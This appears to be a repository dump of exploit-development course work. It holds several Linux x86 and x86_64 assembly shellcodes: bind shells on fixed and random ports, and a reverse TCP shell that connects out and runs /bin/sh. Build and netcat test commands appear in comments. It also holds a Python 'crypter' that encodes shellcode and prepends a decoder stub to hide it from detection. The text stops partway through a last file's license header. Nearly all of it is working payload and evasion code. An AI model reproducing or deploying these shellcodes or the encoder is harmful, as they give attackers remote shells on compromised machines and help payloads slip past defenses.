9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; shell_bind_tcp_shellcode
22 | ;
23 | ; * 103 bytes
24 | ; * null-bytes free
25 | ; * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT)
26 | ; * the port number is easily changeable (3th and 4th bytes of the shellcode)
27 | ;
28 | ;
29 | ; # nasm -f elf32 shell_bind_tcp_shellcode.asm -o shell_bind_tcp_shellcode.o -g
30 | ; # ld -m elf_i386 shell_bind_tcp_shellcode.o -o shell_bind_tcp_shellcode
31 | ; # ./shell_bind_tcp_shellcode
32 | ;
33 | ; Testing
34 | ; # nc 127.0.0.1 11111
35 |
36 |
37 | global _start
38 |
39 | section .text
40 |
41 | _start:
42 |
43 | ; Setting port number
44 |
45 | mov bp, 0x672b ; port in byte reverse order = 11111
46 |
47 |
48 | ; Creating the socket file descriptor
49 | ; socket(2, 1, 0)
50 |
51 | push 102
52 | pop eax
53 | cdq
54 |
55 | push 1
56 | pop ebx
57 |
58 | ; socket arguments
59 | push edx
60 | push ebx
61 | push 2
62 |
63 | finalint:
64 |
65 | mov ecx, esp
66 | int 0x80
67 |
68 | mov esi, eax ; esi now contains the socket file descriptor
69 |
70 | pop edi ; pop 2 to edi
71 |
72 |
73 | ; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened
74 | ; This problem happens in most shellcodes, even in the Metasploit, because they do not care
75 | ; about the reuse of the socket address
76 | ; setsockopt(sockfd, 1, 2, &socklen_t, 4)
77 |
78 | mov al, 102
79 |
80 | ; setsockopt arguments
81 | push 4
82 | push esp
83 | push edi
84 | push ebx
85 | push esi
86 |
87 | mov ecx, esp
88 |
89 | mov bl, 14
90 | int 0x80
91 |
92 |
93 | ; Biding the socket with an address type
94 | ; bind(sockfd, [2, port, 0], 16)
95 |
96 | mov al, 102
97 | mov ebx, edi
98 |
99 | ; sockaddr_in struct
100 | push edx
101 | push bp ; port number
102 | push bx
103 |
104 | mov ecx, esp
105 |
106 | ; bind arguments
107 | push 16
108 | push ecx
109 | push esi
110 |
111 | mov ecx, esp
112 |
113 | int 0x80
114 |
115 |
116 | ; Preparing to listen the incoming connection (passive socket)
117 | ; listen(sockfd, 0)
118 |
119 | mov al, 102
120 | mov bl, 4
121 |
122 | push edx
123 | push esi
124 |
125 | mov ecx, esp
126 |
127 | int 0x80
128 |
129 |
130 | ; Accepting the incoming connection
131 | ; accept(sockfd, 0, 0)
132 |
133 | mov al, 102
134 | inc ebx
135 |
136 | mov [esp+8], edx
137 |
138 | int 0x80
139 |
140 | xchg eax, ebx
141 |
142 |
143 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
144 | ;dup2 (clientfd, fd)
145 |
146 | mov ecx, edi
147 |
148 | dup_loop:
149 | mov al, 63
150 | int 0x80
151 |
152 | dec ecx
153 | jns dup_loop ; looping (2, 1, 0)
154 |
155 |
156 | ; Finally, using execve to substitute the actual process with /bin/sh
157 | ; execve("/bin/sh", ["/bin/sh", 0], 0)
158 | mov al, 11
159 |
160 | push edx
161 | push 0x68732f2f ; "//sh"
162 | push 0x6e69622f ; "/bin"
163 |
164 | mov ebx, esp
165 | push edx
166 | push ebx
167 |
168 | jmp finalint
169 |
--------------------------------------------------------------------------------
/improvements/tiny_shell_reverse_tcp.asm:
--------------------------------------------------------------------------------
1 | ; Tiny Shell Reverse TCP - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; tiny_shell_reverse_tcp
22 | ;
23 | ; * 67 bytes
24 | ; * null-free if the IP and port are
25 | ;
26 | ;
27 | ; # nasm -f elf32 tiny_shell_reverse_tcp.asm
28 | ; # ld -m elf_i386 tiny_shell_reverse_tcp.o -o tiny_shell_reverse_tcp
29 | ;
30 | ; Testing
31 | ; # nc -l 127.1.1.1 11111
32 | ; # ./tiny_shell_reverse_tcp
33 |
34 |
35 | global _start
36 |
37 | section .text
38 |
39 | _start:
40 | ; Avoiding garbage
41 | ; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding
42 |
43 | xor ebx, ebx
44 | mul ebx
45 |
46 | ; syscalls (/usr/include/asm/unistd_32.h)
47 | ; socketcall numbers (/usr/include/linux/net.h)
48 |
49 | ; Creating the socket file descriptor
50 | ; int socket(int domain, int type, int protocol);
51 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
52 |
53 | mov al, 102 ; syscall 102 - socketcall
54 | inc ebx ; socketcall type (sys_socket 1)
55 |
56 | ; socket arguments (bits/socket.h, netinet/in.h)
57 | push edx ; IPPROTO_IP = 0 (int)
58 | push ebx ; SOCK_STREAM = 1 (int)
59 | push 2 ; AF_INET = 2 (int)
60 |
61 | mov ecx, esp ; ptr to argument array
62 |
63 | int 0x80 ; kernel interruption
64 |
65 |
66 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
67 | ; int dup2(int oldfd, int newfd);
68 | ; dup2(clientfd, ...)
69 |
70 | pop ecx ; pop the sockfd integer to use as the loop counter ecx
71 | xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2)
72 |
73 | dup_loop:
74 | mov al, 63 ; syscall 63 - dup2
75 |
76 | int 0x80 ; kernel interruption
77 |
78 | dec ecx ; file descriptor and loop counter
79 |
80 | jns dup_loop
81 |
82 |
83 | ; Connecting the duplicated file descriptor to the host
84 | ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
85 | ; connect(sockfd, [AF_INET, 55555, 127.1.1.1], 16)
86 |
87 | mov al, 102 ; syscall 102 - socketcall
88 | ; socketcall type (sys_connect 3)
89 |
90 | ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h)
91 | push 0x0101017f ; IP number
92 | push WORD 0x672b ; port number 11111 in hex reverse order
93 | push WORD 2 ; AF_INET = 2 (unsigned short int)
94 | mov ecx, esp ; struct pointer
95 |
96 | ; connect arguments
97 | push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
98 | push ecx ; sockaddr_in struct pointer (struct sockaddr *)
99 | push ebx ; socket fd (int)
100 | mov ecx, esp
101 |
102 | int 0x80
103 |
104 |
105 | ; Finally, using execve to substitute the actual process with /bin/sh
106 | ; int execve(const char *filename, char *const argv[], char *const envp[]);
107 | ; exevcve("/bin/sh", NULL, NULL)
108 |
109 | mov al, 11 ; execve syscall
110 |
111 | ; execve string argument
112 | push edx ; null-byte
113 | push 0x68732f2f ; "//sh"
114 | push 0x6e69622f ; "/bin"
115 |
116 | mov ebx, esp ; ptr to ["/bin//sh", NULL] string
117 |
118 | xor ecx, ecx ; zero to argv
119 | ; zero to envp (edx)
120 |
121 | int 0x80
122 |
--------------------------------------------------------------------------------
/improvements/tiny_shell_bind_tcp.asm:
--------------------------------------------------------------------------------
1 | ; Tiny Shell Bind TCP - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; tiny_shell_bind_tcp
22 | ;
23 | ; * 75 bytes
24 | ; * null-free if the port is
25 | ;
26 | ;
27 | ; # nasm -f elf32 tiny_shell_bind_tcp.asm; \
28 | ; ld -m elf_i386 tiny_shell_bind_tcp.o -o tiny_shell_bind_tcp
29 | ;
30 | ; Testing
31 | ; # ./tiny_shell_bind_tcp
32 | ; # nc 127.0.0.1 11111
33 |
34 |
35 | global _start
36 |
37 | section .text
38 |
39 | _start:
40 | ; Avoiding garbage
41 | ; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding
42 |
43 | xor ebx, ebx
44 | mul ebx
45 |
46 | ; syscalls (/usr/include/asm/unistd_32.h)
47 | ; socketcall numbers (/usr/include/linux/net.h)
48 |
49 | ; Creating the socket file descriptor
50 | ; int socket(int domain, int type, int protocol);
51 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
52 |
53 | mov al, 102 ; syscall 102 - socketcall
54 | inc ebx ; socketcall type (sys_socket 1)
55 |
56 | ; socket arguments (bits/socket.h, netinet/in.h)
57 | push edx ; IPPROTO_IP = 0 (int)
58 | push ebx ; SOCK_STREAM = 1 (int)
59 | push 2 ; AF_INET = 2 (int)
60 |
61 | mov ecx, esp ; ptr to argument array
62 |
63 | int 0x80 ; kernel interruption
64 |
65 |
66 | ; Biding the socket with an address type
67 | ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
68 | ; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16)
69 |
70 | pop ebx ; socketcall type (sys_bind 2)
71 | pop esi ; just to roll back on stack and overwrite the ulterior value with the next push
72 |
73 | ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h)
74 | push edx ; INADDR_ANY = 0 (uint32_t)
75 | push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t)
76 | ; AF_INET = 2 (unsigned short int) - is already on stack
77 |
78 | ; bind arguments (sys/socket.h)
79 | push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
80 | push ecx ; sockaddr_in struct pointer (struct sockaddr *)
81 | push eax ; socket fd (int)
82 |
83 | push 102 ; syscall 102 - socketcall
84 | pop eax
85 |
86 | mov ecx, esp ; ptr to argument array
87 |
88 | int 0x80 ; kernel interrruption
89 |
90 |
91 | ; Preparing to listen the incoming connection (passive socket)
92 | ; int listen(int sockfd, int backlog);
93 | ; listen(sockfd, int);
94 |
95 | ; listen arguments
96 | mov [ecx+4], edx ; put zero after sockfd that is already on top of stack
97 |
98 | mov al, 102 ; syscall 102 - socketcall
99 | mov bl, 4 ; socketcall type (sys_listen 4)
100 |
101 | int 0x80 ; kernel interruption
102 |
103 |
104 | ; Accepting the incoming connection
105 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
106 | ; accept(sockfd, NULL, NULL)
107 |
108 | mov al, 102 ; syscall 102 - socketcall
109 | inc ebx ; socketcall type (sys_accept 5)
110 |
111 | ; accept arguments ; here we just don't need do nothing, the ecx already points to sockf, NULL and 16
112 | ; you ask me: but the correct isn't sockfd, NULL, NULL? Well, 'man accept' to figure out ;D)
113 |
114 | int 0x80 ; kernel interruption
115 |
116 |
117 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
118 | ; int dup2(int oldfd, int newfd);
119 | ; dup2(clientfd, ...)
120 |
121 | pop ecx ; pop the sockfd integer to use as the loop counter ecx
122 | xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2)
123 |
124 | dup_loop:
125 | push 63 ; syscall 63 - dup2
126 | pop eax
127 |
128 | int 0x80 ; kernel interruption
129 |
130 | dec ecx ; file descriptor and loop counter
131 |
132 | jns dup_loop
133 |
134 |
135 | ; Finally, using execve to substitute the actual process with /bin/sh
136 | ; int execve(const char *filename, char *const argv[], char *const envp[]);
137 | ; exevcve("/bin/sh", NULL, NULL)
138 |
139 | push 11 ; execve syscall
140 | pop eax
141 |
142 | ; execve string argument
143 | ; stack already contains NULL on top
144 | push 0x68732f2f ; "//sh"
145 | push 0x6e69622f ; "/bin"
146 |
147 | mov ebx, esp ; ptr to "/bin//sh" string
148 |
149 | inc ecx ; zero to argv
150 | ; zero to envp (edx)
151 |
152 | int 0x80
153 |
--------------------------------------------------------------------------------
/improvements/shell_bind_tcp_random_port_x86_64.asm:
--------------------------------------------------------------------------------
1 | ; Shell Bind TCP Randon Port - Assembly Language - Linux/x86_64
2 | ; Copyright (c) 2013, Geyslan G. Bem, Hacking bits
3 | ; All rights reserved.
4 | ;
5 | ; http://hackingbits.com
6 | ; geyslan@gmail.com
7 | ;
8 | ; Redistribution and use in source and binary forms, with or without
9 | ; modification, are permitted provided that the following conditions
10 | ; are met:
11 | ;
12 | ; * Redistributions of source code must retain the above copyright
13 | ; notice, this list of conditions and the following disclaimer.
14 | ;
15 | ; * Redistributions in binary form must reproduce the above
16 | ; copyright notice, this list of conditions and the following
17 | ; disclaimer in the documentation and/or other materials provided
18 | ; with the distribution.
19 | ;
20 | ; * Neither the name of the Geyslan G. Bem nor the names of its
21 | ; contributors may be used to endorse or promote products derived
22 | ; from this software without specific prior written permission.
23 |
24 | ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
25 | ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
26 | ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
27 | ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
28 | ; COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
29 | ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
30 | ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
31 | ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
32 | ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
33 | ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
34 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
35 | ; POSSIBILITY OF SUCH DAMAGE.
36 |
37 |
38 | ; shell_bind_tcp_random_port_x86_64
39 | ;
40 | ; * 57 bytes
41 | ; * null-free
42 | ;
43 | ;
44 | ; # nasm -f elf64 shell_bind_tcp_random_port_x86_64.asm
45 | ; # ld -m elf_x86_64 shell_bind_tcp_random_port_x86_64.o -o shell_bind_tcp_random_port_x86_64
46 | ;
47 | ; Testing
48 | ; # ./shell_bind_tcp_random_port_x86_64
49 | ; # netstat -anp | grep shell
50 | ; # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode)
51 | ; # nc 127.0.0.1 port
52 |
53 |
54 | global _start
55 |
56 | section .text
57 |
58 | _start:
59 | ; Avoiding garbage
60 | ; Putting zero in three registers (rax, rdx and rsi), search about mul instruction for understanding
61 |
62 | xor rsi, rsi ; zeroing rsi
63 | mul rsi ; zeroing rax and rdx at cost of one xor (3 bytes)
64 |
65 | ; syscalls (/usr/include/asm/unistd_64.h)
66 | ; socket numbers (/usr/include/linux/net.h)
67 |
68 | ; Creating the socket file descriptor
69 | ; int socket(int domain, int type, int protocol);
70 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
71 |
72 | ; socket arguments (bits/socket.h, netinet/in.h)
73 |
74 | ; IPPROTO_IP = 0 (int) - rdx is already zero
75 |
76 | inc esi ; SOCK_STREAM = 1 (int)
77 |
78 | push 2 ; AF_INET = 2 (int)
79 | pop rdi
80 |
81 | mov al, 41 ; syscall 41 - socket
82 | syscall ; kernel interruption
83 |
84 |
85 | ; Preparing to listen the incoming connection (passive socket)
86 | ; int listen(int sockfd, int backlog);
87 | ; listen(sockfd, int);
88 |
89 | ; listen arguments
90 | push rdx ; put zero into rsi
91 | pop rsi
92 |
93 | push rax ; put the file descriptor returned by socket() into rdi
94 | pop rdi
95 |
96 | mov al, 50 ; syscall 50 - listen
97 | syscall ; kernel interruption
98 |
99 |
100 | ; Accepting the incoming connection
101 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
102 | ; accept(sockfd, NULL, NULL)
103 |
104 | ; accept arguments ; here we need only do nothing, the rdi already contains the sockfd,
105 | ; likewise rsi and rdx contains 0
106 |
107 | mov al, 43 ; syscall 43 - accept
108 | syscall ; kernel interruption
109 |
110 |
111 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
112 | ; int dup2(int oldfd, int newfd);
113 | ; dup2(clientfd, ...)
114 |
115 | push rdi ; push the sockfd integer to use as the loop counter (rsi)
116 | pop rsi
117 |
118 | xchg rdi, rax ; put the clientfd returned from accept into rdi
119 |
120 | dup_loop:
121 | dec esi ; decrement loop counter
122 |
123 | mov al, 33 ; syscall 33 - dup2
124 | syscall ; kernel interruption
125 |
126 | jnz dup_loop
127 |
128 |
129 | ; Finally, using execve to substitute the actual process with /bin/sh
130 | ; int execve(const char *filename, char *const argv[], char *const envp[]);
131 | ; exevcve("/bin/sh", NULL, NULL)
132 |
133 | ; execve string argument
134 | ; *envp[] rdx is already NULL
135 | ; *argv[] rsi is already NULL
136 | push rdx ; put NULL terminating string
137 | mov rdi, 0x68732f6e69622f2f ; "//bin/sh"
138 | push rdi ; push /bin/sh string
139 | push rsp ; push the stack pointer
140 | pop rdi ; pop it (string address) into rdi
141 |
142 | mov al, 59 ; execve syscall
143 | syscall ; bingo
144 |
--------------------------------------------------------------------------------
/7th.assignment/uzumaki_crypter.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | #
4 | # Uzumaki Shellcode Crypter - Python Language
5 | # Copyright (C) 2013 Geyslan G. Bem, Hacking bits
6 | #
7 | # http://hackingbits.com
8 | # geyslan@gmail.com
9 | #
10 | # This program is free software: you can redistribute it and/or modify
11 | # it under the terms of the GNU General Public License as published by
12 | # the Free Software Foundation, either version 3 of the License, or
13 | # (at your option) any later version.
14 | #
15 | # This program is distributed in the hope that it will be useful,
16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | # GNU General Public License for more details.
19 | #
20 | # You should have received a copy of the GNU General Public License
21 | # along with this program. If not, see .
22 |
23 | '''
24 | uzumaki_crypter
25 |
26 | * uses the uzumaki cipher, a custom stream cipher algorithm ( (XOR [static] and XOR [pseudorandom]), ADD [static] )
27 |
28 |
29 | # ./uzumaki_crypter.py -h
30 | # ./uzumaki_crypter.py -a 03 -x f2 -s $'\x31\xc9\xf7\xe1...\x80'
31 |
32 | '''
33 |
34 | import sys
35 | import getopt
36 | import string
37 |
38 |
39 | def usage ():
40 | usage = """
41 | -a --add Byte to be used with bitwise ADD (one byte in hex format)
42 | Default is 01
43 | Eg. -a 2f
44 | --add 1f
45 |
46 | -x --xor Byte to be used with bitwise XOR (one byte in hex format)
47 | Default is cc
48 | Eg. -x f2
49 | --xor aa
50 |
51 | -s --shellcode The shellcode to be crypted with the uzumaki cipher
52 | Eg. -s $'\\xcd\\x80'
53 | --shellcode `printf "\\xcc\\x90"`
54 |
55 | -h --help This help
56 | """
57 | print(usage)
58 |
59 | def main():
60 | addByte = "01"
61 | xorByte = "cc"
62 | shellcode = ""
63 |
64 | try:
65 | opts, args = getopt.getopt(sys.argv[1:], "ha:x:s:")
66 |
67 | except getopt.GetoptError as err:
68 | print(err)
69 | usage()
70 | sys.exit()
71 |
72 |
73 | for o, a in opts:
74 |
75 | if o in ("-h", "--help"):
76 | usage()
77 | sys.exit()
78 |
79 | elif o in ("-a", "--add"):
80 | if (len(a) != 2 or not all(h in string.hexdigits for h in a)):
81 | print(" ADD byte has to be in hex format. Eg. -a 3f\n")
82 | sys.exit()
83 | addByte = a
84 |
85 | elif o in ("-x", "--xor"):
86 | if (len(a) != 2 or not all(h in string.hexdigits for h in a)):
87 | print(" XOR byte has to be in hex format. Eg. -x f1\n")
88 | sys.exit()
89 | xorByte = a
90 |
91 | elif o in ("-s", "--shellcode"):
92 | shellcode = a.encode("utf_8", "surrogateescape")
93 |
94 |
95 | if (not shellcode):
96 | print(" Is necessary to inform a shellcode. Eg. -s $'\\xcd\\x80'\n")
97 | sys.exit()
98 |
99 |
100 | crypted = ""
101 | crypted2 = ""
102 | crypted3 = ""
103 | crypted4 = ""
104 | tempbyte = 0x00
105 |
106 | for x in range(len(shellcode)):
107 | if (x == 0):
108 | tempbyte = shellcode[x]
109 | else:
110 | tempbyte = ((shellcode[x-1] ^ (shellcode[x] ^ int("0x" + xorByte, 16) )) + int("0x" + addByte, 16))
111 | if (tempbyte > 0xff or tempbyte <= 0x00):
112 | print(" A crypted byte value cannot be higher than 0xff or equal to 0x00. Please change the value of the option 'ADD' or/and of the option 'XOR'.\n")
113 | sys.exit()
114 | crypted += "\\x%02x" % tempbyte
115 |
116 | crypted2 = crypted.replace("\\x", ",0x")[1:]
117 |
118 | crypted3 += r"\x29\xc9\x74\x14\x5e\xb1"
119 | crypted3 += r"\x%02x" % (len(shellcode) - 1)
120 | crypted3 += r"\x46\x8b\x06\x83\xe8"
121 | crypted3 += r"\x" + addByte
122 | crypted3 += r"\x34"
123 | crypted3 += r"\x" + xorByte
124 | crypted3 += r"\x32\x46\xff\x88\x06\xe2\xf1\xeb\x05\xe8\xe7\xff\xff\xff"
125 | crypted3 += crypted
126 |
127 | crypted4 = crypted3.replace("\\x", ",0x")[1:]
128 |
129 | crypted = '"' + crypted + '";'
130 | crypted3 = '"'+ crypted3 + '";'
131 |
132 | print("Uzumaki Shellcode Crypter - Swirling Everything")
133 | print("http://hackingbits.com")
134 | print("https://github.com/geyslan/SLAE.git")
135 | print("License GPLv3+: GNU GPL version 3 or later \n\n")
136 |
137 | print("Crypted shellcode:\n")
138 | print(crypted)
139 | print()
140 | print(crypted2)
141 | print("\n\n")
142 |
143 | print("Crypted shellcode with decrypter built-in:\n")
144 | print(crypted3)
145 | print()
146 | print(crypted4)
147 | print("\n\n")
148 |
149 | print("Length: %d" % len(bytearray(shellcode)))
150 | print("Length with decrypter: %d" % ((len(crypted3) - 2) / 4))
151 |
152 |
153 | if __name__ == "__main__":
154 | main()
155 |
--------------------------------------------------------------------------------
/improvements/tiny_shell_bind_tcp_random_port.asm:
--------------------------------------------------------------------------------
1 | ; Copyright (c) 2013, Geyslan G. Bem, Hacking bits
2 | ; All rights reserved.
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; Redistribution and use in source and binary forms, with or without
8 | ; modification, are permitted provided that the following conditions
9 | ; are met:
10 | ;
11 | ; * Redistributions of source code must retain the above copyright
12 | ; notice, this list of conditions and the following disclaimer.
13 | ;
14 | ; * Redistributions in binary form must reproduce the above
15 | ; copyright notice, this list of conditions and the following
16 | ; disclaimer in the documentation and/or other materials provided
17 | ; with the distribution.
18 | ;
19 | ; * Neither the name of the Geyslan G. Bem nor the names of its
20 | ; contributors may be used to endorse or promote products derived
21 | ; from this software without specific prior written permission.
22 |
23 | ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
24 | ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
25 | ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
26 | ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
27 | ; COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
28 | ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
29 | ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
30 | ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
31 | ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
32 | ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
33 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
34 | ; POSSIBILITY OF SUCH DAMAGE.
35 |
36 |
37 | ; tiny_shell_bind_tcp_random_port
38 | ;
39 | ; * 57 bytes
40 | ; * null-free
41 | ;
42 | ;
43 | ; # nasm -f elf32 tiny_shell_bind_tcp_random_port.asm
44 | ; # ld -m elf_i386 tiny_shell_bind_tcp_random_port.o -o tiny_shell_bind_tcp_random_port
45 | ;
46 | ; Testing
47 | ; # ./tiny_shell_bind_tcp_random_port
48 | ; # netstat -anp | grep shell
49 | ; # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode)
50 | ; # nc 127.0.0.1 port
51 |
52 |
53 | global _start
54 |
55 | section .text
56 |
57 | _start:
58 | ; Avoiding garbage
59 | ; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding
60 |
61 | xor ebx, ebx
62 | mul ebx
63 |
64 | ; syscalls (/usr/include/asm/unistd_32.h)
65 | ; socketcall numbers (/usr/include/linux/net.h)
66 |
67 | ; Creating the socket file descriptor
68 | ; int socket(int domain, int type, int protocol);
69 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
70 |
71 | mov al, 102 ; syscall 102 - socketcall
72 | inc ebx ; socketcall type (sys_socket 1)
73 |
74 | ; socket arguments (bits/socket.h, netinet/in.h)
75 | push edx ; IPPROTO_IP = 0 (int)
76 | push ebx ; SOCK_STREAM = 1 (int)
77 | push 2 ; AF_INET = 2 (int)
78 |
79 | mov ecx, esp ; ptr to argument array
80 |
81 | int 0x80 ; kernel interruption
82 |
83 |
84 | ; Preparing to listen the incoming connection (passive socket)
85 | ; int listen(int sockfd, int backlog);
86 | ; listen(sockfd, int);
87 |
88 | ; listen arguments
89 | push edx ; put zero
90 | push eax ; put the file descriptor returned by socket()
91 | mov ecx, esp ; ptr to argument array
92 |
93 | mov al, 102 ; syscall 102 - socketcall
94 | mov bl, 4 ; socketcall type (sys_listen 4)
95 |
96 | int 0x80 ; kernel interruption
97 |
98 |
99 | ; Accepting the incoming connection
100 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
101 | ; accept(sockfd, NULL, NULL)
102 |
103 | mov al, 102 ; syscall 102 - socketcall
104 | inc ebx ; socketcall type (sys_accept 5)
105 |
106 | ; accept arguments ; here we need only do nothing, the ecx already points to sockfd, NULL and 2
107 | ; you ask me: but the correct isn't sockfd, NULL, NULL? Well, 'man accept' to figure out ;D)
108 |
109 | int 0x80 ; kernel interruption
110 |
111 |
112 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
113 | ; int dup2(int oldfd, int newfd);
114 | ; dup2(clientfd, ...)
115 |
116 | pop ecx ; pop the sockfd integer to use as the loop counter ecx
117 | xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2)
118 |
119 | dup_loop:
120 | push 63 ; syscall 63 - dup2
121 | pop eax
122 |
123 | int 0x80 ; kernel interruption
124 |
125 | dec ecx ; file descriptor and loop counter
126 |
127 | jns dup_loop
128 |
129 |
130 | ; Finally, using execve to substitute the actual process with /bin/sh
131 | ; int execve(const char *filename, char *const argv[], char *const envp[]);
132 | ; exevcve("/bin/sh", NULL, NULL)
133 |
134 | mov al, 11 ; execve syscall
135 |
136 | ; execve string argument
137 | ; stack already contains NULL on top
138 | push 0x68732f2f ; "//sh"
139 | push 0x6e69622f ; "/bin"
140 |
141 | mov ebx, esp ; ptr to "/bin//sh" string
142 |
143 | inc ecx ; zero to argv
144 | ; zero to envp (edx)
145 |
146 | int 0x80
147 |
--------------------------------------------------------------------------------
/improvements/tiny_shell_bind_tcp_random_port_x86_64.asm:
--------------------------------------------------------------------------------
1 | ; Tiny Shell Bind TCP Random Port - Assembly Language - Linux/x86_64
2 | ; Copyright (c) 2021, Geyslan G. Bem, Hacking bits
3 | ; All rights reserved.
4 | ;
5 | ; http://hackingbits.github.io
6 | ; geyslan@gmail.com
7 | ;
8 | ; Redistribution and use in source and binary forms, with or without
9 | ; modification, are permitted provided that the following conditions
10 | ; are met:
11 | ;
12 | ; * Redistributions of source code must retain the above copyright
13 | ; notice, this list of conditions and the following disclaimer.
14 | ;
15 | ; * Redistributions in binary form must reproduce the above
16 | ; copyright notice, this list of conditions and the following
17 | ; disclaimer in the documentation and/or other materials provided
18 | ; with the distribution.
19 | ;
20 | ; * Neither the name of the Geyslan G. Bem nor the names of its
21 | ; contributors may be used to endorse or promote products derived
22 | ; from this software without specific prior written permission.
23 |
24 | ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
25 | ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
